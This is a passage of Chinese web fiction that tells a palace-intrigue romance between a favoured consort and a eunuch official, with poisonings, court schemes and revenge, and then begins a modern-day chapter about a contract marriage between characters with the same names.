丁年微微挑眉,这话说的就很巧妙了,抬高格局上升到气节,摘出了皇后,又点明了贵妃位分,与皇后无关,又不把圣旨亲封放在眼里,那就是作死。 果然,只要不涉及到皇后,旁的人就可以随意打发了,周允年的声音里带着几分厉色,“丁年,去传旨,虞美人以下犯上,降为采女,罚俸一年,禁足自己宫里,无诏不得出!皇后的掌事姑姑掌嘴二十,罚俸三个月。” 虞岁还算满意,皇后暂时动不得,杀杀小卒的士气还是可以的,却仍然抽抽噎噎的说:“景翊哥哥,岁岁都没脸见人了,你让我走吧……” 丁年躬身退出去,耳边传来周允年宠溺的声音:“朕哪里舍得。” 传完了旨,丁年走到御花园角门的暗处,吹了声哨,不多时鬼七出现,“主子,有何吩咐?” 丁年想到虞岁脖颈上的勒痕,把玩着手中的哨笛,云淡风轻的说:“太师之子,醉酒坠马,摔倒了腿。” 鬼七有些懵,不明所以的回:“咱们的人一直跟着他,并没有发现他的腿断了……” 丁年抬眸,冷冷的看他一眼。 鬼七只觉得隐在暗处的丁年,目光幽森,像蓄势待发的豹,他顿觉一阵寒意直冲天灵盖,继而福至心灵,“是,属下马上去办!” “鬼七,你如今,越发不中用了。” “主子恕罪,属下办完了事就去领罚”,鬼七慌忙下跪,再抬头,暗处的丁年已经消失不见,只余微风轻拂树影斑驳。 凤仪宫里,掌事姑姑领了二十个巴掌,有丁年盯着执刑,二十个巴掌打得结结实实,她的脸肿的厉害,皇后见状,并没有太大的波澜,依旧专注打理着面前的盆栽,“委屈么?” “奴婢不敢。” “你自是不敢,该委屈的是本宫,这二十个巴掌算你为本宫尽忠了。” “娘娘,姝贵妃这样挑衅于您,您该早做打算才是!” “年少时,父亲为我和哥哥讲兵法,其中有一句,以虞待不虞者胜,你可知道什么意思?” “奴婢愚钝,还望娘娘示下。” 皇后眼中闪过一抹狠厉的光,“今日这场抛砖引玉,已知虞岁无根无势,花无百日红,人有看腻时,帝王的宠爱能存几时?小打小闹有什么意思,等一等,一击毙命才是正道。” 说着,她拿起金剪刀,咔嚓一下剪断了观察许久的旁枝,任它飘零在地,抬脚,碾踩成泥。 隔天,虞岁正百无聊赖的看医书,就见云萝端了碗参汤走了过来,“这御医的医术不错,你恢复的还可以。” “多谢娘娘体恤,圣上唯恐娘娘见到奴婢的伤又想到伤心事,这才严令御医全力医好努力……而且……督主大人也遣人送了药来。” 虞岁端着参汤喝了一口,放下,“云萝,你是丁年的人?” 云萝闻言,警觉的看了看四周后,点了点头。 虞岁一副果然如此的表情,难怪她说话吞吞吐吐的,“所以呢?” 云萝扑通跪下,靠近虞岁身前,低声说道:“昨夜太师家的大公子坠马,今晨督主遭到暗杀。” “说下去……” “督主伤重,老督主发狠责打了他。” “这个顺序不太对,你是说,丁年受了重伤,你们老督主又打了他一顿?” “所以呢?需要我做什么?” “眼下督主靠着老参汤吊着命,这个,是一种域外的毒药……”,云萝说着将手中拇指大的小盒子递给虞岁,怕她不肯又接着说:“娘娘放心,这个我们有解药的,只是苦了娘娘吃下去,中毒之后所显示出的症状,唯有圣上私库里的星域摩罗可以解……届时……” 虞岁懂了,“届时,这星域摩罗就可以拿给你们督主,没猜错的话,这场暗杀里他中了毒?” “娘娘慧极!奴婢敬服。” “好,我应了,你去准备一下。” 云萝愣了愣,就这么同意了?“娘娘你……” 虞岁笑了笑,“我这个人,这条命,这颗心,早早便允诺给他了,莫说是毒药,便是真死了,也无不可。” 听到这,云萝刚刚站起,又重重的跪下,“贵妃娘娘,日后,奴婢唯娘娘马首是瞻!” 虞岁皱眉,“不关你的事,还是说,你心悦于他?” 云萝慌忙摆手,“奴婢不敢!奴婢的命是督主救的,奴婢铭感五内!如今督主命悬一线,您救了他,就是救了我,不止是我,所有受过主子恩惠的人都会承娘娘的情!” 虞岁有些嫌弃,“我要你们承情有什么用?我要的是丁年的情。” 云萝偷偷想了一下丁年凶神恶煞的样子,怎么也想不出丁年承情是什么样子,她从来不敢正视丁年的脸。 “话说回来,丁年中毒,直接去向周允年求药不就成了,犯的着拐这么大弯子?以周允年对丁年的宠爱程度,区区星域摩罗算得了什么?” “宠……爱?娘娘,何以见得?” “周允年,丁年,冠皇字,不算受宠?” 云萝思虑再三,犹犹豫豫的说:“年这个字,是圣上年少时賜的,意在,督主是他的……狗,他的犬牙,他面向众人的活靶子”,许是觉得冒犯,越说到后面,声音越低。 虞岁听的气血翻涌,狗?狗?!这样就说得通了,她就说怎么丁年面对周允年,臣不臣,奴不奴的,敢情什么地位全凭周允年当下的心情。 皇权啊,真好啊。 虞岁蜷起手指在桌上扣了扣,“日前被禁足的虞采女是不是送来了一块茶饼?” “奴婢记得,那块茶饼您吩咐要妥善收好,以待来日,您是要?” 虞岁轻轻点头,“去取了来泡盏茶,把你这药下到茶里,这样好的戏,不拉个垫背的多无趣,哦对了,再把上次周允年夸我穿的如谪仙的那件外衫找出来。” 等云萝快走到门口的时候,虞岁突然出声:“去把鬼七叫来。” 鬼七来的还算快,虞岁刚刚换好衣服走出内室,鬼七无声无息的站在灯火下,不远处的桌旁放着虞岁要的茶。 虞岁坐到桌前,端起茶盏,盯着浮浮沉沉的茶叶,轻声问:“他怎么样?” “尚在昏迷,神智不清。” “他被暗杀,与我有关”,虞岁像是在问鬼七,又像是肯定了一个结论。 鬼七不敢抬头,低低应声:“算是,双方本就积怨,太师若遇事,第一个拿来开刀的就是我们主子……而且,老督主的确是因为您才责打主子。” “退下吧,剩下的,等他醒了让他亲口跟我说”,事到如今虞岁想也知道大概了,不过是太师之子断腿的事不在老督主计划内,而破坏计划的,是丁年,因为她。 鬼七犹豫再三,“娘娘,我们主子,真的不容易,若您不是真心仅为了消遣,那求您,” 虞岁冷声打断他,“你又怎知我不是?” 鬼七惊诧的抬头看了虞岁一眼,又快速的垂下头,有些理解主子的心情了,谁能抵住这样一个美人的撩拨坐怀不乱?春风十里扬州路,卷上珠帘总不如。 虞岁也不知道从什么时候起,丁年就在她心里,也许是那晚雪夜里,与他初次相遇。 可叹惊鸿一瞥,误入眉眼,十万山水十万天,十万滋味在心间。 要说周允年这人吧,宠的时候是真宠,虞岁这个毒,众人束手无策,不知是哪个御医提出星域摩罗的事,周允年二话不说就遣了大监去取。 等虞岁醒来的时候就见到周允年的脸放大在眼前,“岁岁,感觉如何?朕已经下旨处置了虞采女那个贱婢,你放心,以后再无人会害你。” 虞岁没有说话,视线越过周允年看向云萝,见云萝点点头示意丁年已经没事了…… 虞岁就笑了,笑着笑着落下泪来,重新看向周允年,“景翊哥哥,岁岁好怕再也见不到你了…” “岁岁别怕,朕会保护你的。你先好生养着,朕还有政事未清,忙完再来看你”,周允年说完,起身准备走,又像是想到了什么,“过几日等丁年忙完了朕交给他的外务,再派他来替朕守着你。” 虞岁试探的问:“说起来也有几日没见到丁年了,原来是景翊哥哥有事交代他办”。她想知道,周允年到底知不知道丁年的处境。 “是啊,他,朕用着顺手,也快忙完了。” 丁年半梦半醒间总是循环那日的情景,老督主问他,“丁年,你为了个女人打草惊蛇,值得么?” 丁年是怎么回答的呢?“我做事情,没有值不值得,只有想不想要,情不情愿。” 气的老督主连声恨骂,“好!好!好一个情不情愿!今日我便替你父亲,替你们丁家上下无辜枉死的二百三十八口打你一个想要!一个情愿!” 丁年只记得,那天的最后,胸前的伤,背脊的痛,都渐渐变得遥远,只有初遇那夜漫天飞雪里虞岁倔强的神情、艳绝的脸,越来越清晰…… 醒来后,不见虞岁,唯有一室漆黑,鬼七适时的点亮灯火,丁年挣扎着坐起来,揉揉眉心,“将我昏睡这几日的事,事无巨细讲一 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等周允年走后,虞岁把云萝唤进来细细问着这两日的情况,“陛下说已经下旨处置虞采女?” 云萝点头:“是,就在今天傍晚送她上路。” 虞岁眯了眯眼,吩咐云萝,“去把我的正装取来,给我上妆。” “娘娘,虽说吃了解药,但是您还得好好养着。” “你不懂,去准备准备吧,今儿咱们这青鸾殿有好戏看了。” 云萝听不懂,但云萝听话,转身去准备。 虞岁看了看自己的手,心下感叹,姐姐啊,要死人了呢。 虞郎中,你可一定要受住这次丧女之疼哦。 “娘娘您真是神机妙算,兵部的虞郎中送了拜贴来”,云萝拿来宫装和一封拜贴。 “让他去正殿,本宫要在正殿接见他”,虞岁说着,打开了那封拜贴,啧啧,字倒是比人有风骨。 虞郎中足足等了一个时辰,案上的茶凉了又换,换了又凉好几次,终于等到了虞岁。 她装扮着整套贵妃服制,衣香鬓影,无一处不精致,无一处不出尘,秀色掩今古,荷花羞玉颜。 虞岁兴致颇浓的坐在上首,等着虞郎中给她行礼。 虞郎中不情愿又不得不的对着虞岁行了个大礼,接着便急晃晃的说:“岁岁,为父今日前来……” 虞岁懒懒的打断他,“诶?没规矩哦,虞郎中。” 虞郎中虽然官职不高不低,好在命好,同僚多年没人这样下他的脸面,但是求人要有求人的态度,这个道理他懂,所以他强忍不耐,“姝贵妃娘娘,求您大人有大量,高抬贵手,放过小女。” 虞岁轻轻摇头,“虞郎中,又错了哦,求人要有求人的态度,你看看你这对么?” 虞郎中咬咬牙,一撩官服,直挺挺跪下,“姝贵妃娘娘,求您,高抬贵手,放过小女。” 虞岁搭着云萝的手,站起来一步一步走到他面前,“刚刚我在想,当初我姐姐遇险的时候,你有这样求过人么?现在看来,你真是个好父亲,我都要感动了。” 虞郎中心下一喜,就听虞岁话锋急转,“可是没用呢,我一定要她死。” 虞郎中就看不懂了,这么美的一张脸,怎么生了这么狠的一颗心?! 这般绛朱柔唇,怎么能云淡风轻的说出这样冷厉的话?! 虞郎中当即大怒,嚯的站起来,“你这个孽障!你竟然要父跪女这样大逆不道!还这样不依不饶?!我是你的生身父亲!” 虞岁笑的天真烂漫,甚至看着他拍了拍手,“我还是喜欢您这幅嘴脸,不装,特别好。” “你到底想要什么?”,虞郎中气的额头青筋暴起。 反观虞岁,从始至终都很淡定,用最淡的语气说着最语不惊人死不休的话:“啧,冷静点,您年纪大了,一时激动撅过去怎么办呀?” 虞郎中抬手指着虞岁,你你你个半天也想不出说什么…… “我要她们,一个,一个的,去死,去给我姐姐和娘亲赔罪。但不是现在,我还没玩够呢,郎中大人,您那个庶女,不乖,所以她先去。我的母亲怎么歿的,您心知肚明吧?若不是你一味的纵容,一个洗脚婢女怎么敢凌驾于正室夫人之上?睁大眼睛好好看着哦,好好看看我的手段。” 虞郎中满眼狠厉的看着虞岁,“你一意孤行,可想过后果?” 虞岁掩唇轻笑,“后果?说起来,你这个兵部郎中做的可真牢固呢,怎么没有我这不详之人阻碍您的仕途这么久了都不见你扶摇直上呢?” “孽障!孽畜!早知如此,一开始就该溺死你!” 虞岁附和,“是呢,谁让我有娘生没爹教呢,我这样有今日没来日的人,你可不要歪了心思硬碰硬哦,您那个儿子可不能跟我一样没爹教。” “哼!”,虞郎中一甩衣袖转身就走。 虞岁凉凉的说:“走快点,跑起来,慢了,就见不到爱女最后一面了。” 看着虞郎中的身影消失在大门口,虞岁心里轻声呢喃,姐姐,她们一个都跑不了。 “娘娘,回吧,这里风大。” “风大?因为要变天了。” “是啊,要下雪了。” “丁年呢?什么时候回来,怪想他的。” “就这两日了。” 凤仪宫里,“父亲,您是说,丁年是被您新寻的歌姬晃了神?” “嗯,为父也觉得稀奇,赶着就来见你,这些年来,丁年向来是冷心冷面的,这事,倒是有趣。” 皇后很是感兴趣的问:“是个什么样的歌姬?” “哼”,太师不屑的嗤笑,“什么样?跟青鸾殿那位一样的狐媚子。” “有趣,父亲,这个消息来的正是时候,我这里差不多可以收网了,虞岁这个钉子也是扎的太久了。” 太师一捻胡须,赞许的看着他一手培养大的爱女,“你向来是个谋定而后动又肯隐忍的性子,不像你那个不争气的哥哥!”,提到儿子,太师忍不住的咒骂。 “哥哥他……御医怎么说?” “脚筋断了,医得好腿也是个跛子,不中用了!都是那个丁年,这些年我们的势力被他悄悄瓦解的太多了!” “父亲,你辞官吧。” “此话怎讲?” “眼下朝堂不稳,边关不宁,不如告老荣休,以待来日。” “来日?” 皇后轻轻抚了抚小腹,“是,来日,快三月了,皇上的药也开始下了,我们等得起。” “哈哈哈,好,好!为父这就回去准备奏折。” “父亲,那个歌姬留给我。” 太师走后,皇后召来掌事姑姑,附耳授意一番,“听明白了就去办吧。” 虞岁再见到丁年是在一个落雪的午后,他推开门走进内室,挟风带雪而来,眉眼间是化不开的缱绻。 思君不见方知情深不如常。 “老督主为什么打你?”,虞岁想了很多,开口却只有这一句。 丁年深深的看着她,仿佛世间只有虞岁,“因为我中了毒。” 就这样一句听上去答非所问的话,虞岁却听懂了,因为丁年搞砸了原计划,因为她。 “为什么会中毒?” “因为那女子与你极为相似,我出招慢了一瞬。” “与我相似?” 虞岁款款走到丁年面前,站定,伸手摸了摸他的脸……丁年怔住,微微瞪大双眼看着虞岁…… 虞岁柔声开口:“记住,这是我的手。” 她拽住丁年的衣襟,迫使他近距离看着自己的脸,她微热的鼻息洒在丁年脸上,魅态十足的说:“记住,这是我的脸。” 在丁年有些呆滞的时候,虞岁微微抬头,在他的下巴上,印上一吻…… 虞岁盯着他的眼睛,一字一句的说:“记住,这是我的唇,和,我的吻。” 丁年只感觉脑海中有什么东西炸开了,身体里有股热流从上到下、从下到上、从内到外流遍全身感官,途经四肢百骸,无一处不惊喜,无一处不炽热! 虞岁看着丁年摸着下巴出神的样子,有些好笑,“如何?可还有人与我相似?” 丁年愣愣的摇头,“我行过十万山水历千帆,吹过八千里风看繁华,无一胜你。” “我还挺想见见那女子的,看看到底有多相似。” 说什么来什么,门外云萝的声音响起,“娘娘,皇上来了……” “嗯,这就来”,虞岁说完,理了理丁年的衣襟。 就听外面云萝又说了一句,“皇上,兴致勃勃的,还带了个女子来,与您,十分相似。” 虞岁和丁年对视一眼,一前一后的走去大殿,“丁年,其实你的仇人是太师,所以当初你才会选我,对么?” 丁年有几分艰难的开口,“最初是,利用。” “无妨,我对你也一样。” 虞岁觉得这没什么好纠结的,天下人不外乎因缘因利而聚,她和他,怎么聚的已经不重要了,分不开才重要。 “岁岁,你快来看,青儿真的跟你很像!”,周允年的兴致空前高涨。 “诶呀景翊哥哥,快别说了,羞死人啦!” “景翊哥哥?”,虞岁重复了一遍这个称呼,看了一眼周允年,发现周允年的注意力都在那女子身上…… 虞岁顺着他的视线看过去,发现那女子是真的跟自己很像,不是长相,是第一眼看上去的感觉,甚至比自己更媚,更纯,更娇憨。 “这位是?”,虞岁淡漠的问周允年。 “这是皇后的远房表妹,来宫里小住几日,你叫她青儿就好。” 青儿自来熟的一把拉住虞岁,热情洋溢的开口:“贵妃姐姐真的好美,都叫青儿自惭形秽了!” 周允年爱怜的看着青儿,“青儿自有你的过人之处,不要妄自菲薄。” 虞岁心下冷哼,皇后果然耐不住了,就这点手段么? “景翊哥哥,我有些头晕”,虞岁抚着额头娇娇怯怯的开口。 周允年连忙扶住她,转头吩咐丁年,“把青儿姑娘送回凤仪宫。” 青儿急急开口:“景翊哥哥我……” 周允年没有回头,扶着虞岁走向内殿。 路上,青儿突然出声:“督主大人,您真是命大,这都没死。” 丁年也不理她,送她到凤仪宫门口就走。 他仰头看了看雾蒙蒙的天,好像有密密麻麻的网在慢慢织紧。 当晚,周允年没有留宿青鸾殿,他觉得近日有些亏欠皇后,所以去看看皇后。 “娘娘,皇上似乎对青儿姑娘很上心。” “呵,他对所有得不到的都上心。” “娘娘,你生气么?” “生什么气?这就是周允年的本色啊,他的心碎成了很多片,每一片都会爱上得不到的女人。” 夜幕降临,虞岁到底有些睡不着,她看不清皇后的路子,她不喜欢这种脱离掌控之外的感觉。 披衣走到殿外,夜风吹在脸上,有些凉意,就听到殿门口值夜的小宫女窃窃私语:“今天看到督主大人和青姑娘肩并肩走在一起,真是般配。”“可不就是,郎才女貌,一双璧人。” 虞岁有些烦躁的走回内室,看到云萝迎上来,语气不善的问:“你们主子呢?” “这个时辰,该是陪着皇上随侍。” “去请皇上,就说我心痛难忍。” 云萝去的很快,周允年和丁年来的也很快。 虞岁泪眼婆娑的扑进周允年怀里,“年哥哥,岁岁做了个噩梦!” 周允年连忙柔声安抚,又有些疑惑的问:“好好的,怎么做噩梦了?年哥哥?你不是一直叫我景翊哥哥么?” 虞岁娇嗔中带着哭腔:“不准提!那个青儿也这么叫你!年哥哥,岁岁梦到你跟那个女人在一起不理我了!” 虞岁说着,视线飘到丁年身上…… 丁年站在灯火半明处,脸上的表情晦暗不明,眼底仿佛沉着一汪寒潭。 她叫一声年哥哥,丁年的脸色就沉一分。 周允年就觉得今夜的虞岁热情的不像话,一声声年哥哥叫的他热血沸腾,他很享受虞岁的娇柔,一次次与她共沉沦。 这是丁年平生第三次觉得夜可真长啊, 第一次是十几年前的夜晚,丁年的父亲战死沙场,还要被太师污蔑通敌叛国,全家上下二百三十八口一夜被杀戮,鲜血冲了三天三夜也没洗净,只有丁年幸免; 他想复仇,能靠近皇权,又不为皇帝所忌惮的,只有宦宠,所以他成了世人眼中的奸宦。 第二次,是他被虞岁泼了一脸的酒,站在她窗外吹了一夜冷风,听她在屋内婉转惊痛; 第三次,就是今夜,他摸了摸下巴,她的唇温犹在,如今,又是为哪般? 太阳再升起的时候,丁年还是没有想通,所以他平生第一次不想后果,不管不顾的冲进内殿……慌乱之间撞翻了云萝端着的水盆…… 他忽然就清醒了,他不能害了她。 云萝低低的说:“皇上已经走了,娘娘正在窗边发呆……” 丁年一进去就看到了窗边的虞岁,她看上去落寞又脆弱,好像随时会碎掉一样,他心头的怒火突然就熄掉了。 虞岁感觉到丁年在,也不回头,“丁年,你心里有我么?” “有。” “只有我么?” “嗯。” “会一直有么?” “会。” “我不信。” 丁年心头刚压下去的火蹭的一下又窜出来了,他快步走过去握住虞岁的手腕,迫使她看着自己,“那你呢?你口口声声的年哥哥,到底是他周允年,还是我丁年?” 虞岁郑重的盯着他的眼睛,“如果我说是你,你信么?” 丁年忽然躬身抱住虞岁,把头埋进她颈间。 “我信,只要你说的,我都信。” 丁年都快不认识自己了,明明他背负这么多,不配谈情,不配拥有,但当她问一句你信么,他的心就柔软的一塌糊涂。 虞岁感觉到,有一滴泪,顺着她的脖颈,一路流进她的衣襟,流进她的心里。 “你怎么哭了?” 丁年的声音闷闷的:“被你气的。” “原来年哥哥是个小哭包。” “只被你气哭过。” 门外传来云萝的声音,“娘娘,凤仪宫有消息传回来。” 丁年松开虞岁,理了理她的衣领,然后在她额头轻轻的,虔诚的印下一个吻。 随后拉着她的手,搭在自己的手臂上,撑着她走出内室。 虞岁坐定,听着云萝的禀报,眉头越皱越紧,凤仪宫皇后有孕,已近三月,中宫要有嫡出了……皇后拉着青儿的手托付给周允年,声称青儿仰慕天子威严,还望圣上垂爱。 皇上算是双喜临门,当下册封青儿为嫔,封号怜。 “皇后这番成人之美无可指摘,只是总觉得不仅仅这么简单。” 虞岁的直觉是对的,就在册封的当天,丁年就被下了大狱,罪名是,妄图染指宫妃。 青儿哭的梨花带雨,说丁年酒后乱性,抱着她胡言乱语,言语间还直指虞岁,理由是,因为她跟虞岁身形相似,才被殃及,这波是无辜遭累。 云萝将消息传回来,虞岁听完久久不能平静,她都忍不住为皇后拍案叫绝了! 如果虞岁出声辩驳,语言总是苍白无力的,她只有咬死丁年,才能保住自己; 如果虞岁指责青儿,她没有证据自证,皇后的证人倒是一大堆; 最关键的是,怎么摘出丁年,一环扣一环。 “娘娘,主子传话说让您保住自己,宫里的谣言突然甚嚣尘上,说什么的都有。” 虞岁冷笑,“保自己?你的意思是皇后一出手就是死局,我和他,只能清白一个,运气好的话,两个人一起死……呵呵,众口铄金,积毁销骨。” “娘娘,奴婢觉得督主说的没错,您要先保住自己,才能找到破局之法。” “清白这种事,即便是澄清了,皇帝心里也会存个疑影,一个失去帝王宠爱被厌弃的妃子,离死也不远了。周允年什么反应?” “这几日都在怜嫔那。” 虞岁想了又想, “你悄悄去把鬼七找来。” 夜深人静,虞岁剪断灭了的灯花,身后鬼七悄无声息的出现,“娘娘有何吩咐?” “他怎么样?” “尚可。” “那个怜嫔,你手里有她和太师一路的证据么?” “有。” “你们老督主什么态度?” “自从上次的事情之后,老督主就全部放权给了主子。” 虞岁直直的看着鬼七,看的他心里有些发毛,“这件事,是不是你主子故意为之?” “不是。” “那怜嫔所说有几句真?” “只有醉酒是真。” “如此,你把怜嫔是太师的人,而非什么远方表亲的事传到周允年耳中,他多疑,不要用你们自己人,用其他途径。” 虞岁仔细想过,她是关心则乱,她根本不需要做什么选择,只要做实了怜嫔是太师特意找的人,只要丁年无依无靠,周允年自己就会往构陷上想。 “那娘娘您眼下?” “我的困境不难解,时机到了,一切都迎刃而解,倒是你主子……还有,有些细节没有证据就创造证据,这不是你们鬼卫最擅长的么?” 事情跟虞岁预想的差不多,甚至还有意外之喜,正值边关动荡,太师一党与边关来往密切又贪墨粮饷的证据就那么水灵灵的递到周允年的御案之上…… 连十几年前定国公丁氏全族被太师攀蔑的冤案都翻了案……短短十几天,太师一党落马,零零总总的罪名抄家灭族……怜嫔车裂……皇后被废,降为静妃,因为有子躲过一劫…… 虞岁一直没有见到丁年,她被周允年莫名其妙的禁足在青鸾殿,她直觉怜嫔死前一定是跟周允年说了什么,不然一个女子不至于用到车裂这样残忍的方式。 一定是什么触及到周允年天子的尊严,又涉及到虞岁的事。 听云萝说,年关将至,大概是觉得宫里不够热闹,周允年突然选秀,大批环肥燕瘦的貌美女子入住后宫。 再见到丁年,是在新人进宫后,更深露重,他携着月色而来,“岁岁,跟我离开这里吧。” 虞岁不明所以,“离开?天下之大,能去哪里?” “年前圣上要去围场狩猎,我们趁乱离开,从此山高水阔,只有我和你。” 一室寂静,静到能听到丁年的心跳声,虞岁在他的心跳声中沉默良久,“丁年,我本凉薄,没有心,活到现在,支撑我的信念就是为姐姐报仇,和,你……” “岁岁,你姐姐的仇,我来报,静妃会死在我们离开的那天。” “丁年,进宫之后,我一直觉得自己活的像狗一样。” “我知道,我可以活的像狗一样,但你不可以,只要我在,就不准。所以,跟我走,好么?” “丁年,晚了,我现在贪心了”,虞岁说着,握住丁年的手放到小腹上,“这里,滋生了我的贪念。” 丁年的手覆在她尚且平坦的小腹上,久久不语,他似乎能感觉到另一颗心脏的跳动。 “丁年,你有表字么?” “我没有表字,父亲还没来得及给我授冠礼就惨死,而且,我这样的人,怎么配有表字。” 虞岁温柔抚上他的脸,“丁年,会有的,你会有这世间最高级别的封号和表字,我向你保证,下一次的帝王亲封,不会像你的名字一样充满羞辱意味。我要你堂堂正正的站在世人面前,挺直脊梁接受本就该属于你的辉煌。” 丁年眼角有些湿润,“娘娘要臣做什么?苦难都由臣来为您踏平,您一声令下,臣一意孤行。” “送我去狩猎围场,陪我演一场舍生取义。” 此后数十年,丁年依旧记得,那晚风急雪大,虞岁翻身上马,对他说,她要天下,要有他的天下。 朝历二十二年冬,允帝围场遭太师余孽围剿,姝贵妃舍身相护,帝感念大动,破镜重圆; 朝历二十三年春,静妃产子,允帝心悦,立为储君;姝贵妃之子,册封亲王; 朝历二十四年夏,静妃下毒谋害允帝,帝大怒,临终前废储君,绞杀静妃,改立姝贵妃之子接帝位; 朝历二十四年秋,姝贵太妃携良帝登大宝垂帘听政; 同舟九年春,良帝圣旨亲封太傅丁年为辅国公,食天子邑,封号,怀瑾。 “娘娘,你只管高坐庙堂,一切前路由臣来为你荡。” “丁年,我要这天下,自然,也包括你。” 7. 虞岁,我可以违约么? “丁年,有空么?结个婚?” 电话那端短暂的沉默了一下,紧接着丁年低沉的声音传来:“好,等我。” 丁年来的很快,要不是虞岁知道他事务所的位置,又问过秘书他在不在,甚至都要以为他有什么特异功能。 私密性良好的会所包厢里,虞岁递给丁年一个文件袋,“这是一份协议,一年之后离婚,届时我会给你补偿,你看看你需不需要加什么补充条款。” 丁年接过文件袋拆开,慢条斯理的、一目十行的翻阅着薄薄的几页纸。 说他慢条斯理是因为他翻的慢,大概是律师的职业病,他好像在逐字推敲,但他看的又很快,一目十行。 虞岁看着丁年,不禁感叹,灯下看美人,果然赏心悦目。他的指尖干净圆润,指甲修剪得整整齐齐,定制的衬衫完美展现他的身材线条,宽肩劲腰…… 妙啊,虞岁心想,找男人还是得找这样的。 丁年的视线停留在最后一项补偿款上,勾唇,抬眸,玩味的看向虞岁:“三百万?你这是要跟我结婚还是要当我金主?” 虞岁好像听到了什么笑话,“丁年,清醒点,你这个脸,这个身材条件,还有你这个综合能力,当你金主这点钱怎么够?” “我就当你是夸我。” “自信点,我就是在夸你。” “我没有要补充的条款,那么,预祝我们新婚快乐,丁太太。” 虞岁淡淡的提醒他,“不要入戏太深,协议上面写了毁约的代价哦。” “真有想违约那天,付出什么代价都是值得的。” 丁年意有所指的说完,从公文包里拿出笔和印章,当他握笔时,修长的手指灵活地转动着笔杆,骨节随着动作微微起伏,像是在演奏无声的乐章 。 他盖完章,把文件推到虞岁面前,看着虞岁签字盖章,一式两份,各自收好。 然后,他掩唇轻咳了声,一副‘是时候表演真正的技术了’的模样,从包里拿出一个比虞岁给他的厚两倍的文件袋,放在虞岁面前…… 虞岁看的眼前一黑又一黑,这是一份特殊的婚前协议和财产公证,而且丁年已经签好字盖完章了。 白纸黑字且加粗的特殊标注:丁年所有的婚前财产在婚后属于夫妻共同财产,而虞岁的只属于虞岁,一旦离婚,丁年净身出户,还要按月支付高额的抚养费给虞岁。 虞岁揉揉额角,“不儿,丁年啊,有必要这么正式么?” “职业习惯,来吧,签吧。” 等虞岁签完,丁年又仔细确认了一遍,确认满意之后留给虞岁一份,自己收起来一份。 “明天早上九点半,我接你去领证,不要赖床,丁太太。” “假结婚有必要领证?一年之后还得再跑一趟换离婚证。” 丁年看了她一眼,“你知道的,我比较传统,假结婚也算结婚,结婚就要有仪式感。” 虞岁突然玩心大起,“那不如一起睡啊,免得我赖床。” 丁年收拾东西的手顿住,似乎在思考可行性,“也不是不可以。” “又不传统了?” 丁年从善如流,“偶尔也想要离经叛道一下。” “那离经叛道的丁先生要不要去我家喝一杯?” “荣幸之至。” 一进门,虞岁就踢掉细高跟,搜罗出一堆酒摆在大茶几上,一边开瓶倒酒,一边如数家珍的给丁年讲这些酒的来历故事年份背景。 丁年记得三年前虞岁的酒量那真是‘一随倒’,这个词还是虞岁自创的,一直喝,甭管白的红的啤的,无论果酒香槟还是黄酒洋酒随便掺,倒别人不倒自己。 这怎么现在,量这么浅了? 虞岁盘着腿坐在洁白的地毯上,几杯酒下肚,脸颊红扑扑的,开启碎碎念模式…… “来,丁年,我提一杯哈,感谢你今天慷慨就义舍身入局,救我于水火之中……” 丁年笑了,“你是准备考公么?这么会夸。” 虞岁摆摆手,“你不懂,我这说的一点也不夸张。” “哦?展开说说”,丁年抿了口酒。 “路仁迦明天回国,我家母后大人不是给我俩订过娃娃亲么,要是三年前我没准还会考虑考虑……” 丁年微不可察的皱了下眉,“所以呢?” “所以我只要在他回来之前结婚,问题就解决了。” “你一直没有男朋友,别人都说你在等他。” 虞岁就炸了,“别人是谁?别人懂个鬼啊,我是这三年没有男朋友么?我是一直都没有男朋友好么?” 说到这,虞岁就有些沮丧,“也是个谜,想我一个如花似玉铁骨铮铮的俏佳人,长这么大就一个暗恋的人,一个喜欢的人,还都无疾而终……” 丁年的手指沿着杯口绕了一圈,状似无意的问:“暗恋的是谁?喜欢的又是谁?” “喜欢谁?喜欢路仁迦啊。我那时候天天都和他一起上课,一起吃饭,一起出去玩,我们俩臭味相投,他就那么出国了,都没有那么合拍的人跟我玩了。” “继续说,还有什么刻骨铭心的回忆。” 虞岁摸了摸手臂,“这酒喝的有点凉飕飕的……” 丁年顺手递给她块毯子,喝了口酒,冰块在他口腔里被嚼的嘎嘣响。 虞岁披上毯子继续说:“谈不上刻骨铭心,就是志趣相投。” “你这是喜欢他?” “不然呢?” “这不是喜欢,是习惯,硬要说的话,你这是喜欢跟他玩。” “丁年,你能别像分析案例报告一样分析我的感情么?” “喜欢对了人是年少轻狂的前尘,喜欢错了人是兵荒马乱的案底。” “丁年,你那个嘴是租来的么?不毒舌就得付费使用了?” “好,请继续,暗恋的又是谁。” 虞岁的目光轻轻掠过丁年的脸,丁年觉得好像有一片羽毛落在他心上,细细软软的,让他的心痒痒的。 虞岁悠悠的叹了口气,“暗恋过的人啊,我曾把满腔热忱,一颗赤诚真心都扑在他身上,为他做过很多平淡细小却又不像我会做的蠢事……” 丁年顶了下腮,“你的语气听起来比刚才说你喜欢路仁迦的时候落寞,那怎么没有表白?” 提到这个,虞岁来劲了,猛的一口喝光杯中酒,把空杯重重的放在水晶茶几上,掰着手指头开始吐槽: “你都不知道他有多抽象,他的理想型要理性的,讲逻辑的,会撒娇的,主动的,但是!最离谱的是什么你知道么?他喜欢主动的但又不喜欢主动追他的!救了大命了真的是!” 丁年认真的思考了一下,“这个人应该多少有点心理疾病,而你,暗恋他的你,我建议你也应该去查查。” 虞岁一下子就笑开了,一想到他毒舌的是谁就更好笑了。 看她这样,丁年有点不是滋味,笑就好好的笑,那眼角挂什么小泪珠啊? 他还是喜欢看她笑起来眉眼弯弯有微微猫咪纹的样子。 “就这么难过么?” 虞岁微微仰头看了下头顶的吊灯,“我那时候就想了,有亏欠的人才讲遗憾不甘,我毫无保留,所以即使无疾而终,即使以后他知道了,后悔的,也一定不会是我。” 丁年理智的给她分析:“看开点,即便在一起了,也未必走到最后,一段关系到达一定高点就会走下坡路,难以为继的是这段下坡路,不好把握的是这段下坡路吹来的风。” 虞岁有些醉了,声音飘飘的,她朝丁年勾勾手指…… 丁年愣了一下,随后慢慢的凑过去,虞岁的灼热的呼吸喷在他耳边:“丁年,我跟你打赌,你以后一定会后悔你说过的话。” 说完,虞岁趴在茶几上不动了,丁年叹了口气调整了下她的姿势,毫不费力的单手抱起她,她在他怀里动了动,像小猫一样蹭了蹭他的胸膛…… 